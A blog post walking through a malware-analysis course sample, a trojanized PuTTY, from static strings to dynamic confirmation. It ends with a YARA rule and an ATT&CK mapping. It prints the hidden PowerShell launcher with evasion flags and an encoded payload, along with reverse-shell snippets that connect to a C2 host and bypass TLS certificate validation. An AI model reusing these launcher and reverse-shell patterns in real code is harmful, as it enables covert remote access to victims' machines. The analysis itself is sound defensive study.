DEV Community

Biscotti Diskette
Biscotti Diskette

Posted on Originally published at biscottidiskette.github.io

SillyPutty: What Happens When PuTTY Fights Back

During TCM Security's Practical Malware Analysis & Triage (PMAT) course, one of the samples you get to tear apart is a trojanized version of PuTTY. I nicknamed it SillyPutty. On the surface, it looks and acts like normal PuTTY. Underneath, it is running a fileless PowerShell backdoor that phones home over TLS. This is the walkthrough of how I pulled it apart.

Starting Simple: What Is This Thing?

The first move with any unknown binary is file:

λ file putty.exe
putty.exe: PE32 executable (GUI) Intel 80386, for MS Windows, 10 sections
Enter fullscreen mode Exit fullscreen mode

32-bit Windows executable. Nothing unusual yet. It even launches a perfectly normal PuTTY window when you run it. That is the whole point of a trojanized binary: the legitimate functionality is the camouflage.

Strings Tell the Story

Running FLOSS against the binary and scrolling through the output, one string jumps out that has no business being inside PuTTY:

powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAOW/UWECA51W...'))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"
Enter fullscreen mode Exit fullscreen mode

That is a lot to unpack, but the flags alone tell you what you are dealing with:

  • -nop -- no profile
  • -w hidden -- hidden window
  • -noni -- non-interactive
  • -ep bypass -- execution policy bypass

Four evasion flags in one command. This is textbook malicious PowerShell.

Peeling the Layers

The command uses scriptblock::create to build and execute code at runtime without ever writing to disk. That makes this a fileless attack. The payload itself is a Base64-encoded, gzip-compressed blob.

The H4sI at the start of the Base64 string is the giveaway for gzip. So the execution chain is:

  1. Decode Base64 into bytes
  2. Decompress gzip in memory
  3. Read the plaintext result
  4. Execute it via ScriptBlock

To get at the actual payload, decode and decompress it manually:

$ echo 'H4sIAOW/UWECA51W...' | base64 -d > payload.gz
$ file payload.gz 
payload.gz: gzip compressed data, last modified: Mon Sep 27 12:58:13 2021, max compression
$ gzip -d payload.gz 
$ file payload 
payload: ASCII text
Enter fullscreen mode Exit fullscreen mode

And there it is. Plain ASCII text. The compressed payload (b76be7c97a3d4c5d69041b5fe4ccaf450e4a34d432dbbc8bd548711a5085e703) decompresses into readable PowerShell source code.

The Payload: PowerFun

The decompressed script is PowerFun, a reverse shell written by Ben Turner and Dave Hardy. The key pieces:

Two operating modes. Bind mode opens a listener on the victim and waits for the attacker to connect in. Reverse mode connects outbound to the attacker's server. This sample uses reverse mode, which makes sense because most firewalls block inbound connections.

if ($Command -eq "reverse")
{
    $client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)
}
Enter fullscreen mode Exit fullscreen mode

There is the C2: bonus2.corporatebonusapplication.local on port 8443.

TLS encryption. The stream is wrapped in SSL with certificate validation completely bypassed. The traffic looks like normal HTTPS from the outside.

$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
Enter fullscreen mode Exit fullscreen mode

Proxy-aware credential theft. The WebClient function grabs the victim's own NTLM credentials to punch through corporate proxies:

$wc.UseDefaultCredentials = $true
$wc.Proxy.Credentials = $wc.Credentials
Enter fullscreen mode Exit fullscreen mode

Full interactive shell. The main loop reads commands from the socket, executes them with Invoke-Expression, and sends output back. It even fakes a PowerShell prompt so the attacker's terminal looks natural.

Confirming with Dynamic Analysis

Static analysis told us what should happen. Dynamic analysis confirms it does.

Setting up a netcat listener on port 8443 and detonating the sample, a few things happen in quick succession: PuTTY opens normally (the decoy), a PowerShell process flashes briefly behind it, and the listener catches an inbound connection.

Wireshark confirms the DNS query to bonus2.corporatebonusapplication.local. TCPView shows the PowerShell process connecting outbound to port 8443. Procmon logs match the exact command string found in static analysis.

Trying to interact with the caught connection over plain netcat fails because the stream is TLS-encrypted. Typing whoami into the netcat session just crashes it. You would need ncat or socat with SSL support to actually interact with the shell.

One important finding from Regshot: no registry modifications related to persistence. The malware runs entirely in memory and does not survive a reboot. This is a one-shot access tool, not a persistent implant.

The full process tree:

explorer.exe (PID: 2284)
     └── putty.exe (PID: 2294)
          └── powershell.exe (PID: 5232)
               └── conhost.exe (PID: 3928)
Enter fullscreen mode Exit fullscreen mode

Detection

I wrote a YARA rule targeting the combination of PowerShell evasion flags and the compression/encoding stack:

rule PowerFun_ReverseShell_Memory
{
    meta:
        description = "Detects in-memory decoded PowerFun PowerShell reverse shell"

    strings:
        $ps1 = "powershell" nocase ascii wide
        $ps2 = "-nop" nocase ascii wide
        $ps3 = "-w hidden" nocase ascii wide
        $ps4 = "-ep bypass" nocase ascii wide

        $sb1 = "scriptblock" nocase ascii wide
        $sb2 = "System.IO.Compression.GzipStream" nocase ascii wide
        $sb3 = "System.IO.MemoryStream" nocase ascii wide
        $sb4 = "FromBase64String" nocase ascii wide

        $gzip = "H4sI"

    condition:
        (3 of ($ps*)) and (2 of ($sb*)) 
        or
        ($gzip and $sb4)
}
Enter fullscreen mode Exit fullscreen mode

MITRE ATT&CK Mapping

  • T1059.001 -- PowerShell as the scripting interpreter
  • T1027 -- Obfuscated files (Base64 + gzip)
  • T1071.001 -- Application layer protocol (PowerShell over TLS)
  • T1573 -- Encrypted channel (SSL/TLS with cert validation bypass)
  • T1078 -- Valid accounts (proxy credential reuse)
  • T1105 -- Remote file copy (WebClient module downloads)

What I Took Away

SillyPutty is not sophisticated malware. It is a well-known backdoor stuffed inside a legitimate binary. But that is exactly what makes it a good learning sample. The methodology matters more than the complexity of the target: run your strings, decode your blobs, trace your processes, confirm your findings dynamically. The same workflow scales up to samples that are far nastier.

The full report with screenshots is on my portfolio.


Biscotti Diskette is a cybersecurity practitioner focusing on offensive security and purple team operations. More writeups and projects at biscottidiskette.github.io.

Top comments (0)